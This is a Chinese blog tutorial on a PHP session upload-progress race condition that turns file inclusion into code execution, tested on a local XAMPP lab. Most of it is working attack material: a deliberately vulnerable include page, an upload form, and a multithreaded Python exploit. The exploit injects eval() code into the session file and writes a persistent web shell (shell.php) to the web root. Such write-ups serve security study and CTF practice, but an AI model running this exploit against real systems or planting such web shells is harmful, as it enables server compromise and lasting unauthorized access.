利用条件竞争进行include文件包含和unserialize反序列化渗透,session和Cookie。

https://www.bilibili.com/video/BV1jh4y1S7hF/?spm_id_from=333.999.0.0&vd_source=80509f9c7811e3d88c646ea500d66f8a视频讲解

原理讲解

这里使用的window下的xampp下进行的。php.ini文件默认在xampp\php\php.ini
php.ini里面有两个关键默认的选项。先认识一下,我门后面用到的时候会进行详细讲解。

  1. session.upload_progress.cleanup = on
  2. session.auto_start=0

默认根目录xampp\htdocs\在这个目录下,我门放一个sess_.php文件

<?php
session_start();
include($_GET[1]);

首次访问,f12查看Cookie,
在这里插入图片描述
此时session存储在xampp\tmp
在这里插入图片描述
而且我们会发现,文件名为sess+PHPSESSID的值。
此时这个文件里面是没有任何内容的。如果我们可以往里面写进去一些东西,比如这样。
在这里插入图片描述

再这样http://192.168.31.204/sess_.php?file=C:\xampp\tmp\sess_r98dmqvlhbnfo3ropres7pb0cm去访问。
就可以弹出计算机了。
可以看出来如果我们想要执行php代码,或者执行系统命令的话。

1.session_start()
2.知道我们session的存储位置。
3.给session里面写入我们的恶意代码。

php.ini有一个选项session.auto_start=0默认是关闭的,但是如果它是打开的,条件1就默认满足了。

在Linux系统中,session文件一般的默认存储位置为 /tmp/var/lib/php/session,假设是默认设置。

而第三个条件就比较复杂了,先改一下配置文件php.ini的选项session.upload_progress.cleanup = on记得要去掉前面的“;”。

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容。默认设置是off。我们先修改一下看看可以写入什么东西。

先写一个sess_.html

<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.31.204/sess_.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="C0ocr" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

抓个包,加个Cookie :PHPSESSID=C0ocr123
在这里插入图片描述
此时tmp目录下已经写入,文件名为sess_加上Cookie :PHPSESSID 的值 C0ocr123
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这个的值是可控的,我们可以把它写成我们的恶意代码。

脚本实现

但是如果session.upload_progress.cleanup = off的值不是off 而是默认的选项on 该怎么办。
这时候就需要条件竞争了。当还没有清空对应session文件中的内容,我们就已经包含了session文件并且执行了里面的恶意代码。

import requests
import io
import threading
sessionid = "C0ocr"
url = 'http://192.168.31.204/sess_.php'
data = {"1":"file_put_contents('C:\\xampp\\htdocs\\ctfshow\\shell.php','<?php eval($_POST[2]);?>');"}

def write(session):

    fileBytes = io.BytesIO(b'a'*1024*50)
    while True:
        response =session.post(
            url,
            data = {
                'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
            },
            cookies = {
                'PHPSESSID':sessionid
            },
            files = {
                'file':('txt.jpg',fileBytes)
            }
        )

def read(session):

    while True:
        response = session.post(url+'?file=C:\\xampp\\tmp\\sess_'+sessionid,data=data,
                                cookies = {
                                    'PHPSESSID':sessionid
                                })
        response2 = session.get('http://192.168.31.204/shell.php')
        if response2.status_code == 200:
            print("=======done======")
        else:
            print(response2.status_code)
            
if __name__ == '__main__':
    event = threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()

    event.set()


shell.php写入成功。
在这里插入图片描述

参考大佬文章。
https://www.freebuf.com/vuls/202819.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值